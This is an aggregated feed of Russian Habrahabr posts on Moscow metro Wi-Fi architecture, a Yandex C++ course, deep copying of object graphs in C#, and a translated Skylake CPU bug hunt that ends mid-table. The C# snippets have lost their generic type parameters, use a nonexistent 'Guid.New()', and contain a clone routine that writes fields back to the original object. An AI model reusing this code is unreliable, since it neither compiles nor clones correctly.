-Поиск по дневнику

Поиск сообщений в rss_rss_hh_new

 -Подписка по e-mail

 

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 17.03.2011
Записей:
Комментариев:
Написано: 51

Habrahabr/New








Добавить любой RSS - источник (включая журнал LiveJournal) в свою ленту друзей вы можете на странице синдикации.

Исходная информация - http://habrahabr.ru/rss/new/.
Данный дневник сформирован из открытого RSS-источника по адресу http://feeds.feedburner.com/xtmb/hh-new-full, и дополняется в соответствии с дополнением данного источника. Он может не соответствовать содержимому оригинальной страницы. Трансляция создана автоматически по запросу читателей этой RSS ленты.
По всем вопросам о работе данного сервиса обращаться со страницы контактной информации.

[Обновить трансляцию]

Wi-Fi в метро: архитектура сети и подземные камни

Четверг, 06 Июля 2017 г. 17:17 + в цитатник


Всего за пару лет поездка москвича в метро перестала быть ежедневной рутиной. Если раньше единственным развлечением в подземке были чтение книг, прессы и MP3-плеер, то теперь к ним добавились онлайн-шоппинг, просмотр сериалов, деловая переписка, даже знакомства в Tinder и квесты. А все благодаря появлению в метро бесплатной сети Wi-Fi. Порядка 80% москвичей регулярно подключаются к сети MT_FREE в метро, не задумываясь, как это работает и чьими силами это сделано. Бытует мнение, что Wi-Fi в метро “провел” сам метрополитен, но это не совсем верно. Беспроводная сеть — это проект “МаксимаТелеком”. Для компании это был первый опыт строительства высокоскоростной сети Wi-Fi с уникальными в мировой практике инженерными и техническими решениями. В этом посте мы расскажем, как организована сеть Wi-Fi в метро Москвы.
 

На самом деле у нас две сети...


 
Радиосеть внутри вагонов
 
Вы входите в вагон, видите стикер с названием сети или уже по привычке включаете Wi-Fi на своем телефоне. В это же время устройство подключается к сети с SSID MT_FREE. Она организована высокоплотными точками доступа, которые находятся в каждом вагоне, работают в двух диапазонах 2,4 ГГц и 5 ГГц и поддерживают стандарты 802.11a/b/g/n. Управляет ими контроллер в головном вагоне. В составе таких вагонов два, а значит, и контроллера тоже два. Все оборудование в подвижном составе, в том числе и между вагонами, соединяют кабели — витая пара.
 
Дело техники
Для организации сети Wi-Fi и сетевой инфраструктуры в подвижном составе мы использовали оборудование Cisco: в частности, точки доступа air-cap2602i, контроллеры air-ct2504, коммутаторы 29хх серии и маршрутизаторы 8хх серии. Для повышения отказоустойчивости между вагонами мы проложили две кабельные трассы. Если углубляться в сетевую архитектуру, то Layer2 для пользовательского трафика терминируется на маршрутизаторе в подвижном составе, а NAT (network address translation) осуществляется на пограничных маршрутизаторах сети точно так же, как это организовано у большинства операторов проводного доступа.

Радиосеть поезд-тоннель

После прохождения внутренней поездной сети данные передаются на стационарную сетевую инфраструктуру с использованием радиоканала поезд-тоннель. Он устанавливается между базовой станцией, находящейся в каждом головном вагоне, и базовыми станциями, расположенными вдоль пути следования подвижного состава в тоннеле, а также на открытых участках путей. Расположение базовых станций вдоль путей таково, что поезд движется в сплошном радиополе. Благодаря этому перерывы в связи минимальны. Базовые станции на поезде размещаются так же, как и контроллеры точек доступа на каждом головном вагоне, при этом во время движения состава активна только одна из станций. Радиоканал работает в том же частотном диапазоне, что и Wi-Fi – 5 ГГц, но использует проприетарный протокол передачи данных. В отличие от оборудования внутри поезда, оборудование радиоканала поезд-тоннель можно увидеть снаружи подвижного состава и в тоннелях/на открытых участках путей.
 
Дело техники
Для организации канала связи используется оборудование производства компании Radwin серии 5000. Оно использует чипы Wi-Fi, соответствующие стандарту 802.11n, при этом данные передаются по проприетарному протоколу, основанному на TDM (Time Division Multiplexing), который формируется дополнительной микросхемой. Синхронизация базовых станций осуществляется по протоколу, схожему с PTP 1588v2.

Разрешенный частотный спектр 5150 – 5350 МГц разбит на пять непересекающихся каналов по 40 МГц каждый. На каждой линии используются все пять каналов, обычно в последовательности 1-3-5-2-4, чтобы максимально избежать влияния помех при работе соседних устройств в одном частотном диапазоне.

 

Сетевая архитектура



 
Каждая базовая станция на пути следования поезда подключена к расположенным в служебных помещениях метрополитена коммутационным узлам с помощью выделенной волоконно-оптической сети. Бесперебойное электроснабжение базовых станций также организовано с помощью оборудования, установленного в этих коммутационных узлах.

Архитектура стационарной сети передачи данных не отличается от типовой архитектуры операторов связи. Это “двойная звезда” с географическим резервированием каналов связи и ключевого оборудования. В сети есть несколько каналов связи с магистральными операторами связи, общей пропускной способностью более 60 Гбит/с. 

Дело техники
Сетевое оборудование на уровне доступа (коммутаторы, в которые непосредственно включаются базовые станции), агрегации, а также ядра представлено коммутаторами и маршрутизаторами Cisco.

Базовые станции подключаются в коммутаторы с использованием WDM-технологии для экономии волокон (то есть по одному волокну на разных длинах волн одновременно происходит прием и передача данных). Коммутаторы доступа имеют по два аплинка с георезервированием (кабели ВОЛС физически расположены в разных тоннелях) в коммутаторы агрегации по 1 Гбит/с каждый. Те, в свою очередь, подключены по георезервированным линиям связи в коммутаторы ядра, но уже интерфейсами 10 Гбит/с.

 

Хьюстон, у нас проблемы...


 
Технологические сложности
 
Для работы в метрополитене нужно оборудование:

  • выдерживающее тяжелые условия эксплуатации в тоннеле (взвешенная металлическая пыль и машинное масло) и на подвижном составе (резкие перепады температур и вибрация);
  • удовлетворяющее требованиям метрополитена (использовать негорючие материалы, соответствовать требованиям по электромагнитной совместимости, работать от нестандартных источников питания);
  • имеющее необходимую для работы сети функциональность.


В метрополитене в подвижном составе используется постоянный ток с номинальным напряжением 80В. Однако в зависимости от состояния аккумуляторных батарей и количества разрывов в контактном рельсе реальное напряжение “скачет” от 30В до 150В.

Найти приемлемый по цене блок питания с такими параметрами нам не удалось, а стоимость подходящих вариантов делала проект нецелесообразным.

Здесь нас очень выручила компания из Новосибирска «Сибконтакт». Под наши требования коллеги изготовили блок питания, который мы успешно протестировали и в дальнейшем использовали во всех составах. Устройства оказались очень надежными, стоили недорого, а производить необходимое количество поставщик успевал за несколько недель, а не месяцев, как это происходит обычно.

Также мы столкнулись с нестандартным электропитанием в тоннеле — двухфазной сетью с напряжением 127В. Запитать оборудование, работающее от однофазной сети 220В от нее невозможно, и мы протягивали новые кабели от собственных источников питания, установленных в технических помещениях станций. Это повысило надежность сети, поскольку мы применили источники бесперебойного питания и автоматы ввода резерва.



Большие трудности вызвало и многообразие типов поездов. Это повлияло на работу по проектированию размещения оборудования локальных сетей составов — она была колоссальной. Во-вторых, при строительстве выяснилось, что почти все составы, даже одной серии и года выпуска – разные. Это связано с тем, что их постоянно модернизировали и устанавливали дополнительное оборудование. Такие работы проводились отдельно по каждому составу, а мы каждый раз оснащали поезд уникальным образом.

Серьезные вопросы возникли при радиопланировании сети. Они были связаны как с разнообразием материалов, из которых выполнены тоннели, так и с нехваткой исходной информации по их конструкции, геометрии, а также ответвлениям и препятствиям.

Мы сами полностью обследовали все тоннели — в московском метро их более 330 км, а в двухпутном исчислении более 660 км. Мы применяли определенные метрики и правила размещения базовых станций, а уже после установки и запуска оборудования в ходе эксплуатации проводили измерения радиопокрытия и уточняли оптимальные точки размещения оборудования. Некоторые базовые станции нам пришлось перенести уже после установки.

Эти трудности заставили нас вместе с коллегами из нижегородской компании «Радио Гигабит» провести научно-исследовательские работы и разработать уникальную методику радиопланирования в тоннелях, которая базируется на симуляции (математическом моделировании) канального и системного уровня транспортной радиосети в тоннелях и на открытых участках. В новых проектах мы уже не гадаем, а точно знаем, как именно расставлять оборудование для получения заданных характеристики канала.

Архитектурные сложности
 
Основное оборудование, формирующее радиоканал между составом и тоннелем располагается в “голове” (помним, что их две), при этом вагоны при заезде в депо в подвижных составах постоянно меняются. Сеть работает в постоянном движении, в результате которого все время меняются сетевые порты и физические устройства, через которые идет трафик одних и тех же сессий из одного состава. В связи с этим мы решали целый ряд архитектурных проблем:

  • полностью автоматическая настройка сети состава при замене или изменении порядка вагонов
  • распределение внутривагонных точек доступа между двумя контроллерами W-Fi в поезде
  • корректное получение пользователями и оборудованием в составе IP-адресов
  • “выход” трафика пользователя через правильную базовую станцию, активную в данный момент времени
  • перескакивание MAC-адресов с одного порта стационарного коммутатора на другой при движении поезда (в стационарной сети такое не происходит или случается крайне редко), требующее постоянного “переобучения” сетевых портов на MAC-уровне


Отдельную проблему представлял мониторинг нашей сети. Обычные системы мониторинга сетевого оборудования неспособны отличить ситуацию, при которой состав уходит из зоны радиопокрытия от поломки оборудования состава. Это приводит к большому количеству ложных срабатываний системы предупреждений о неисправностях. Кроме того, единицей мониторинга и технического обслуживания является именно поезд (поскольку всегда надо понимать, где находится в данный момент та или иная единица оборудования и как она соединена с другими элементами сети), а на практике составы в метро — сущность динамическая, состав вагонов в которой может меняться ежедневно, а то и по два раза в день. Мы создали собственные средства мониторинга, которые автоматически детектируют появление поезда в зоне покрытия, “обходят” его, определяя состав и порядок следования вагонов и установленного в них оборудования и представляют операторам центра управления сетью данные уже в разрезе фактически действующих на линии поездов.

Это ключевые технические задачи, которые «МаксимаТелеком» решала при планировании и создании сети. Причем процесс этот продолжается до сих пор, поскольку нагрузки на сеть растут и появляются новые станции метро. Многие уроки, полученные в ходе московского проекта, мы применили при строительстве сети Wi-Fi в метро Петербурга, благодаря этому её удалось сделать гораздо более производительной и быстрой. Но об этом мы расскажем в следующих постах.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332538/


Метки:  

Как Яндекс создавал курс по C++, или Почему нам всё пришлось переписать

Четверг, 06 Июля 2017 г. 16:09 + в цитатник
В Яндексе C++ — один из основных языков, на нём написан наш поиск. Его развитие нам настолько важно, что больше года назад по инициативе Яндекса была создана российская рабочая группа по стандартизации «плюсов». Через неё у всех разработчиков русскоязычного пространства есть возможность влиять на развитие языка.



Недавно Физтех, Яндекс и ШАД запустили ещё один курс на платформе Coursera — «Основы разработки на C++: белый пояс». Он посвящён знакомству с С++. Я расскажу, для кого этот курс, как мы его готовили, что получилось в итоге и каковы наши дальнейшие планы.

Как всё началось, было выброшено и началось снова


Онлайн-специализацию из пяти курсов по С++ мы задумали прошлым летом. Сначала сочиняли программу потихоньку, потом активнее, и в октябре начали снимать видео.

Мы успели снять почти половину первого курса, но тут Илья, лидер команды преподавателей, посмотрел доклад Кейт Грегори о типичных ошибках обучения C++ и понял, что мы допустили большинство из них. 30 ноября Илья написал в общий чатик:
Ребята! У меня плохие новости. Я осознал, что наш первый курс — ***** :(

Тут нужно заметить, что мы с самого начала решили делать курсы, которые, во-первых, рассказывали бы про современный С++ и, во-вторых, были бы направлены на практику. Нет смысла пересказывать учебник или справочник — надо давать людям скилл, чтобы человек мог начать писать код после первых же уроков.

И всё-таки академическая привычка и склонность к дотошности оказались слишком сильны. В первоначальном варианте программы темы шли друг за другом, подчиняясь строгой логике. Все зависимости между ними были соблюдены, возможности С++ рассматривались глубоко и подробно. К сожалению, в результате стандартные контейнеры и алгоритмы впервые упоминались не раньше второго курса, потому что являются шаблонными конструкциями — а до середины второго курса, думали мы, слушатели ещё не будут знать шаблоны.

Наверное, всем понятно, в чём тут проблема. Чтобы пользоваться std::vector, совершенно не обязательно знать, как устроены шаблоны и даже что это такое.

Момент осознания был оглушительным: мы с самого начала знали, что курс должен быть практическим и давать скилл, а не справку — и всё равно совершили ошибку. Мы пали жертвой собственной экспертизы и стали углубляться во внутреннее устройство С++, вместо того чтобы рассказывать, как легко с его помощью можно решать практические задачи.

Стало понятно, что программу надо переписывать, а б'oльшую часть отснятых видео выбросить и снять заново. Это добавило команде преподавателей много работы и привычку всё время думать о практичности курса.

Что получилось


Пока получился первый курс. Предполагается, что в начале курса слушатель может увидеть язык С++ впервые в жизни (но при этом стоит представлять, что такое программирование в целом, и не бояться слов «переменная», «цикл», «список»), а в конце будет способен написать небольшое key-value хранилище с возможностью добавлять туда записи и запрашивать все значения по какому-нибудь известному ключу.

Чтобы человеку было комфортно решать такую задачу, надо рассказать ему про базовые конструкции языка, функции, несколько стандартных контейнеров и алгоритмов, структуры и классы, потоки ввода и вывода, исключения. Рассказывать стоит не слишком глубоко, но так, чтобы всем этим можно было воспользоваться. Ну и конечно, надо выдать побольше задач, чтобы после просмотра видео можно было сразу «потрогать» материал собственными руками.

Отзывы бета-тестеров и слушателей внушают оптимизм. Мы надеемся, что у нас получился хороший вводный курс, к тому же на русском языке, что должно серьёзно облегчить восприятие материала многими людьми.

Остальные плюсы описаны выше: ориентированность на практику, много задач, использование современных возможностей языка. Авторы курса — старшие разработчики Яндекса, которые знают С++ на глубоком уровне и готовы поделиться богатым опытом применения языка в боевых проектах. Поэтому и лекции, и задания учат наиболее эффективному, безопасному и простому программированию на С++.

В планах — более хардкорные курсы, от жёлтого до чёрного пояса. Их мы стараемся готовить так, чтобы даже сведущие в С++ люди могли с интересом послушать и, возможно, узнать что-то новое. А пока советуйте наш первый курс друзьям-новичкам, им понравится.

Что именно рассказываем


Курс длится пять недель. На каждой неделе с первой по четвёртую слушателю предстоит посмотреть 10-20 коротких видео и решить несколько задач. Фрагмент курса для каждой недели содержит как задачи и тесты, необходимые для получения сертификата, так и дополнительные необязательные задачи — для тех, кто хочет потренироваться побольше. Последняя неделя полностью посвящена решению финальной задачи.

Доступ к обязательным заданиям стоит около 1600 рублей, но студенты могут подать в Coursera заявку на финансовую помощь и получить доступ бесплатно. Все видео и необязательные задания — бесплатные по умолчанию.

Программа курса выглядит так:

Неделя 1

Обзор возможностей С++
Hello, world
Обзор типов
Операции с простыми типами
Операции с контейнерами
Языковые конструкции
Компиляция, запуск, отладка
Установка Eclipse
Создание проекта в Eclipse
Отладка в Eclipse
Операции
Присваивание
Арифметические
Логические
Условные операторы и циклы

Неделя 2

Функции
Синтаксис
Передача параметров по значению
ссылки как способ изменить переданный объект
const-ссылки как способ сэкономить на копировании
const защищает от случайного изменения переменной
Контейнеры
std::vector
Std::map
Std::set
Взгляд в будущее: обход словаря с помощью structured bindings

Неделя 3

Алгоритмы и лямбды
min, max, sort
count, count_if, лямбды
современный аналог std::transform — for (auto& x: container)
Видимость и инициализация переменных
ООП
Введение в структуры и классы

Неделя 4

ООП: примеры
Работа с текстовыми файлами и потоками
Перегрузка операторов
Встраивание пользовательских типов в контейнеры
Исключения

Неделя 5 — курсовой проект

antoshkka, который участвует в работе группы по стандартизации, помогал нам и с курсом: «Язык C++ красив, быстр, используется большинством крупных IT компаний, а специалисты по этому языку ценятся во всём мире. К несчастью, многие курсы и учебники по C++ на самом деле учебники по «С», а с такими знаниями вам придётся несладко. Поэтому мы подготовили курс по правильному C++, с классами и без утечек памяти. Если ты знаешь любой другой язык программирования и хочешь открыть для себя мир правильного C++, то наш курс для тебя».
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332556/


Обобщённое копирование связных графов объектов в C# и нюансы их сериализации

Четверг, 06 Июля 2017 г. 15:52 + в цитатник
Задачи по копированию отдельных объектов и связных графов часто встречаются в программировании. Методов их решения существует несколько в зависимости от исходных условий и требований. Цель статьи — рассмотреть ключевые разновидности решений, обозначить область применения, выделить преимущества и недостатки.

image

Классификация подходов к копированию


1) по обобщённости: рутинные и обобщённые


Рутинные подходы подразумевают имплементацию своей логики копирования для каждого конкретного класса, то есть создание ряда специальных служебных методов, отвечающих за копирование тех или иных сущностей. Методы эти зачастую содержат скучный и однообразный код в больших объёмах. Ручное написание таких методов утомительно и чревато ошибками. Однако автоматические генераторы кода облегчают эту задачу, хотя зачастую и накладывают свои ограничения на объекты и структуру графов. Преимущество данных методик в их высокой производительности при малом потреблении памяти. Обычно они применяются в protobuf-сериализаторах.

Обобщённые же подходы избавлены от необходимости написания дополнительной однотипной логики за счёт некоторого снижения производительности, а также применимы к объектам различных типов, отвечающим определённым требованиям.

2) по возможностям сериализации и десериализации: без поддержки, с точной и сверхточные поддержкой


Сериализация предполагает возможность сохранения информации о состояния графа объектов в строку либо массив байт, а десериализация — восстановления по данной информации графа с исходным состоянием, что, в свою очередь, позволяет использовать эти механизмы для глубинного копирования. Существует немало альтернативных реализаций сериализаторов для различных форматов, однако, даже будучи близкими по назначению, они очень различаются в нюансах. Но так или иначе их можно разделить на два класса: точные, что в определённых случаях вносят свои искажения в копию, и сверхточные, которые позволяют восстанавливать сложные графы без изменений.

Искажения чаще всего бывают следующего характера:

— нарушение ссылочной структуры графа
[причины: несколько ссылок на один объект, замкнутые циклические ссылки]

var person = new Person();
var role = new Role();
person.MainRole = role; // use the one 'role' instance before serialization
person.Roles.Add(role); // but possible two separated instances after graph deserialization

var person = new Person();
var role = new Role {Person = person};
person.Roles.Add(role); // may cause stack overflow exception

— утрата информации о типах объектов
[причины: применяется ссылка на объект с типом базового класса]

// may cause exception on deserialization
[DataMember]public object SingleObject = new Person();
[DataMember]public object[] Array = new [] { new Person() };

— искажение родственных примитивных типов
[причины: ограничения форматов сериализации]

[DataMember]public object SingleObject = 12345L;
// long may be deserialized like int, Guid like string
[DataMember]public object[] Array = new [] { 123, 123L, Guid.New(), Guid.New().ToString() };

— потеря свойств при сериализации классов-коллекций
[причины: ограничения сериализаторов]

[CollectionDataContract]
public class CustomCollection: List
{
// property may be lost
[DataMember]public string Name { get; set; }
}

— индивилуальные ограничения сериализаторов
[причины: например, многомерные массивы (object[,,,])]

// may cause exception on serialization
[DataMember]public int[,,] Multiarray = new {{{1,2,3}, {7,8,9}}};

* перечисленные недостатки присущи даже стандартному DataContractJsonSerializer

Классификация обобщённых способов копирования


1) по охвату структуры графа: поверхностное и глубинное


Поверхностное и глубинное копирование принципиально различны. Пускай даны объекты А и Б, причём А содержит ссылку на Б (граф А=>Б). При поверхностном копировании объекта А будет создан объект А', который также будет ссылаться на Б, то есть в итоге получится два графа А=>Б и А'=>Б. У них будет общая часть Б, поэтому при изменении объекта Б в первом графе, автоматически его состояние будет мутировать и во втором. Объекты же А и А' останутся независимы. Но наибольший интерес представляют графы с замкнутыми (циклическими) ссылками. Пускай А ссылается на Б и Б ссылается на А (А<=>Б), при поверхностном копировании объекта А в А' получим весьма необычный граф А'=>Б<=>А, то есть в итоговый граф попал изначальный объект, который подвергался клонированию. Глубинное же копирование предполагает клонирования всех объектов, входящих в граф. Для нашего случая А<=>Б преобразуется в А'<=>Б', в итоге оба графа совершенно изолированы друг от друга. В некоторых случаях достаточно поверхностного копирования, но далеко не всегда.

2) по охвату состояния графа: полное и частичное


Что касается состояния, то при копировании его можно воспроизводить абсолютно полностью, то есть получать совершенно идентичный клон, либо частично, ограничиваясь лишь существенными для решения задачи данными, например, копировать только публичные члены или же те, что отмечены специальными атрибутами.

Обзор основных методик копирования


1) MemberwiseClone вкупе с рефлексией


Для осуществления поверхностного копирования [shallow copy] объекта в платформе .NET предусмотрен специальный защищённый [protected] метод MemberwiseClone у класса object, который создаёт полную копию объекта путём копирования всех его полей. Используя данный метод в комбинации с рефлексией можно реализовать рекурсивный алгоритм глубинного копирования [deep copy].

Плюсы:
— портабельный
— быстро работает
— не нуждается в публичных и дефолтных конструкторах для создания объекта

Минусы:
— нельзя сериализовать и десериализовать объекты
— копирует все поля подряд без возможности их фильтрации

Реализация Deep Memberwise Cloning в библиотеке Replication Framework
using System.Collections.Generic;
using System.Runtime.CompilerServices;

namespace Art.Comparers
{
    public class ReferenceComparer : IEqualityComparer
    {
        public static readonly ReferenceComparer Default = new ReferenceComparer();
        
        public int GetHashCode(T obj) => RuntimeHelpers.GetHashCode(obj);
        
        public bool Equals(T x, T y) => ReferenceEquals(x, y);
    }
}


using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Text.RegularExpressions;
using Art.Comparers;

namespace Art
{
    public static class Cloning
    {
        public static List LikeImmutableTypes = new List {typeof(string), typeof(Regex)};

        public static T MemberwiseClone(this T origin, bool deepMode,
            IEqualityComparer comparer = null) => deepMode
            ? (T) origin.GetDeepClone(new Dictionary(comparer ?? ReferenceComparer.Default))
            : (T) MemberwiseCloneMethod.Invoke(origin, null);

        private static readonly MethodInfo MemberwiseCloneMethod =
            typeof(object).GetMethod("MemberwiseClone", BindingFlags.NonPublic | BindingFlags.Instance);

        private static IEnumerable EnumerateFields(this Type type, BindingFlags bindingFlags) =>
            type.BaseType?.EnumerateFields(bindingFlags)
                .Concat(type.GetFields(bindingFlags | BindingFlags.DeclaredOnly)) ??
            type.GetFields(bindingFlags);

        private static bool IsLikeImmutable(this Type type) => type.IsValueType || LikeImmutableTypes.Contains(type);

        private static object GetDeepClone(this object origin, IDictionary originToClone)
        {
            if (origin == null) return null;
            var type = origin.GetType();
            if (type.IsLikeImmutable()) return origin;

            if (originToClone.TryGetValue(origin, out var clone)) return clone;
            clone = MemberwiseCloneMethod.Invoke(origin, null);
            originToClone.Add(origin, clone);

            if (type.IsArray && !type.GetElementType().IsLikeImmutable())
            {
                var array = (Array) clone;
                var indices = new int[array.Rank];
                var dimensions = new int[array.Rank];
                for (var i = 0; i < array.Rank; i++) dimensions[i] = array.GetLength(i);
                for (var i = 0; i < array.Length; i++)
                {
                    var t = i;
                    for (var j = indices.Length - 1; j >= 0; j--)
                    {
                        indices[j] = t % dimensions[j];
                        t /= dimensions[j];
                    }

                    var deepClone = array.GetValue(indices).GetDeepClone(originToClone);
                    array.SetValue(deepClone, indices);
                }
            }

            var fields = type.EnumerateFields(BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.Public);
            foreach (var field in fields.Where(f => !f.FieldType.IsLikeImmutable()))
            {
                var deepClone = field.GetValue(origin).GetDeepClone(originToClone);
                field.SetValue(origin, deepClone);
            }

            return clone;
        }
    }
}


Применение данного расширения
var person = new Person();
var role = new Role();
person.Roles.Add(role);
var deepClone = person.MemberwiseClone(true);


* альтернативные, но немного неоптимальные реализации данной методики один и два

2) Сравнение функциональности некоторых современных библиотек сериализации




В плане функциональности хорошие надежды подаёт совсем новая библиотека Replication Framework, о которой не очень давно вышла обзорная публикация на Хабре. Хотя она предназначена для решения более широкого круга задач, одними из ключевых требований при её разработке были реализация глубинного копирования и сверхточной [де]сериализации сколь угодно сложных графов.

Лицензионная версия Replication Framework бесплатна для некоммерческого и учебного использования и предоставляется по запросу. Пробная триал-версия на nuget функциональна до сентября 2017 года.

Примечание о производительности Replication Framework
Может возникнуть вопрос, почему Replication Framework позволяет копировать объекты быстрее других сериализаторов, но проигрывает по скорости в самих процессах сериализации и десериализации. Дело в том, что для копирования библиотека использует мгновенные снимки объектов [Snapshots], а не массивы байт или строки, то есть не происходит конвертации примитивных значений, за счёт чего достигается ускорение. При сериализации же сначала происходит создание снимка графа, а уже после он преобразуется в json-строку. Именно из-за этого промежуточного шага снижается скорость сериализации и последующей десериализации (чтение снимка и последующее воссоздание графа по нему).


Реализации методов глубинного копирования на C#


BinaryFormatter
        public static T GetDeepClone(this T obj)
        {
            using (var ms = new MemoryStream())
            {
                var formatter = new BinaryFormatter();
                formatter.Serialize(ms, obj);
                ms.Position = 0;
                return (T) formatter.Deserialize(ms);
            }
        }

DataContractSerializer
        public static T GetDeepClone(this T obj)
        {
            using (var ms = new MemoryStream())
            {   // preserveObjectReferences==true to save valid reference structure of graph
                var serializer = new DataContractSerializer(typeof(T), null, int.MaxValue, false, true, null);
                serializer.WriteObject(ms, obj);
                ms.Position = 0;
                return (T) serializer.ReadObject(ms);
            }
        }

DataContractJsonSerializer
        public static T GetDeepClone(this T obj)
        {
            using (var ms = new MemoryStream())
            {
                var serializer = new DataContractJsonSerializer(typeof(T));
                serializer.WriteObject(ms, obj);
                ms.Position = 0;
                return (T) serializer.ReadObject(ms);
            }
        }

Newtonsoft.Json
        public static T GetDeepClone(this T obj)
        {
            var json = JsonConvert.SerializeObject(obj);
            return JsonConvert.DeserializeObject(json);
        }

Replication Framework via Memberwise Clone
        public static T GetShallowClone(this T obj) => obj.MemberwiseClone(false);
        public static T GetDeepClone(this T obj) => obj.MemberwiseClone(true);


Replication Framework via Snapshot
        public static T GetDeepClone(this T obj)
        {
            var snapshot = obj.CreateSnapshot();
            return snapshot.ReplicateGraph();
        }

Всё!
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332516/


[Перевод] Как я нашёл баг в процессорах Intel Skylake

Четверг, 06 Июля 2017 г. 15:24 + в цитатник
Инструкторы курсов «Введение в программирование» знают, что студенты находят любые причины для ошибок своих программ. Процедура сортировки отбраковала половину данных? «Это может быть вирус в Windows!» Двоичный поиск ни разу не сработал? «Компилятор Java сегодня странно себя ведёт!» Опытные программисты очень хорошо знают, что баг обычно в их собственном коде, иногда в сторонних библиотеках, очень редко в системных библиотеках, крайне редко в компиляторе и никогда — в процессоре. Я тоже так думал до недавнего времени. Пока не столкнулся с багом в процессорах Intel Skylake, когда занимался отладкой таинственных сбоев OCaml.

Первое проявление


В конце апреля 2016 года вскоре после выпуска OCaml 4.03.0 один Очень Серьёзный Индустриальный Пользователь OCaml (ОСИП) обратился ко мне в частном порядке с плохими новостями: одно из нших приложений, написанное на OCaml и скомпилированное в OCaml 4.03.0, падало случайным образом. Не при каждом запуске, но иногда вылетал segfault, в разных местах кода. Более того, сбои наблюдались только на их самых новых компьютерах, которые работали на процессорах Intel Skylake (Skylake — это кодовое название последнего на тот момент поколения процессоров Intel. Сейчас последним поколением является Kaby Lake).

За последние 25 лет мне сообщали о многих багах OCaml, но это сообщение вызывало особенное беспокойство. Почему только процессоры Skylake? В конце концов, я даже не мог воспроизвести сбои в бинарниках ОСИПа на компьютерах в моей компании Inria, потому что все они работали на более старых процессорах Intel. Почему сбои не воспроизводятся? Однопоточное приложение ОСИПа делает сетевые и дисковые операции I/O, так что его выполнение должно быть строго детерминировано, и любой баг, который вызвал segfault, должен проявлять себя при каждом запуске в том же месте кода.

Моим первым предположением было то, что у ОСИПа глючит железо: плохая микросхема памяти? перегрев? По моему опыту, из-за таких неисправностей компьютер может нормально загружаться и работать в GUI, но падает под нагрузкой. Итак, я посоветовал ОСИПу запустить проверку памяти, снизить тактовую частоту процессора и отключить Hyper-Threading. Предположение насчёт HT появилось в связи с недавним сообщением о баге в Skylake с векторной арифметикой AVX, который проявлялся только при включенном HT (см. описание).

ОСИПу не понравились мои советы. Он возразил (логично), что они запускали другие требовательные к CPU и памяти задачи/тесты, но падают только программы, написанные на OCaml. Очевидно, они решили, что их железо в порядке, а баг в моей программе. Ну отлично. Я всё-таки уговорил их запустить тест памяти, который не выявил ошибок, но мою просьбу выключить HT они проигнорировали. (Очень плохо, потому что это сэкономило бы нам кучу времени).

Одновременно ОСИП провёл впечатляющее расследование с использованием разных версий OCaml, разных компиляторов C, которые используются для компиляции системы поддержки выполнения OCaml, и разных операционных систем. Вердикт был следующий. Глючит OCaml 4.03, включая ранние беты, но не 4.02.3. Из компиляторов глючит GCC, но не Clang. Из операционных систем — Linux и Windows, но не MacOS. Поскольку в MacOS используется Clang и там работает порт с Windows-версии на GCC, то причиной чётко назвали OCaml 4.03 и GCC.

Конечно, ОСИП рассуждал логично: мол, в системе поддержки выполнения OCaml 4.03 был фрагмент плохого кода С — с неопределённым поведением, как мы говорим в бизнесе — из-за которого GCC генерировал сбойный машинный код, поскольку компиляторам C позволено работать при наличии неопределённого поведения. Это не первый раз, когда GCC максимально некорректно обрабатывает неопределённое поведение. Например, см. эту уязвимость в безопасности или этот сломанный бенчмарк.

Такое объяснение казалось вполне правдоподобным, но оно не объясняло случайный характер сбоев. GCC генерирует причудливый код из-за неопределённого поведения, но это по-прежнему детерминистический код. Единственной причиной случайности, которую я смог придумать, могла быть Address Space Layout Randomization (ASLR) — функция ОС для рандомизации адресного пространства, которая изменяет абсолютные адреса в памяти при каждом запуске. Система поддержки выполнения OCaml кое-где использует абсолютные адреса, в том числе для индексации страниц памяти в хеш-таблицу. Но сбои оставались случайными даже после отключения ASLR, в частности, во время работы отладчика GDB.

Наступил май 2016 года, и пришла моя очередь замарать руки, когда ОСИП прислал тонкий намёк — дал доступ в шелл к своей знаменитой машине Skylake. Первым делом я собрал отладочную версию OCaml 4.03 (к которой позже планировал добавить больше отладочного инструментария) и собрал заново приложение ОСИПа с этой версией OCaml. К сожалению, эта отладочная версия не вызывала сбой. Вместо этого я начал работать с исполняемым файлом от ОСИПа, сначала интерактивно вручную под GDB (но это сводило меня с ума, потому что иногда приходилось ждать сбоя целый час), а затем с небольшим скриптом OCaml, который запускал программу 1000 раз и сохранял дампы памяти на каждом сбое.

Отладка системы поддержки выполнения OCaml — не самое весёлое занятие, но посмертная отладка из дампов памяти вообще ужасна. Анализ 30 дампов памяти показал ошибки segfault в семи разных местах, два места в OCaml GC, а ещё пять в приложении. Самым популярным местом с 50% сбоев была функция mark_slice в сборщике мусора OCaml. Во всех случаях у OCaml была повреждена куча: в хорошо сформированной структуре данных находился плохой указатель, то есть указатель, который указывал не на первое поле блока Caml, а на заголовок или на середину блока Caml, или даже на недействительный адрес памяти (уже освобождённой). Все 15 сбоев mark_slice были вызваны указателем на два слова впереди блока размером 4.

Все эти симптомы согласовались со знакомыми ошибками, вроде той, что компилятор mark_slice забывал зарегистрировать объект памяти в сборщике мусора. Однако такие ошибки привели бы к воспроизводимым сбоям, которые зависят только от распределения памяти и действий сборщика мусора. Я совершенно не понимал, какой тип ошибки управления памятью OCaml мог вызвать случайные сбои!

За неимением лучших идей, я опять прислушался к внутреннему голосу, который шептал: «аппаратный баг!». У меня было неясное ощущение, что сбои чаще случаются, если машина находится под большей нагрузкой, как будто это просто перегрев. Для проверки этой теории я изменил свой скрипт OCaml для параллельного запуска N копий программы ОСИПа. Для некоторых прогонов я также отключал уплотнитель памяти OCaml, что вызывало большее потреблением памяти и большую активность сборщика мусора. Результаты оказались не такими, как я ожидал, но всё равно поразительными:

/>
N Загрузка системы С настройками по умолчанию С отключенным уплотнителем
1 3+epsilon 0 сбоев 0 сбоев
2 4+epsilon 1 сбой 3 сбоя
4 6+epsilon 12 failures 19 failures
8 10+epsilon 17 сбоев 23 сбоя
16 18+epsilon 16 сбоев




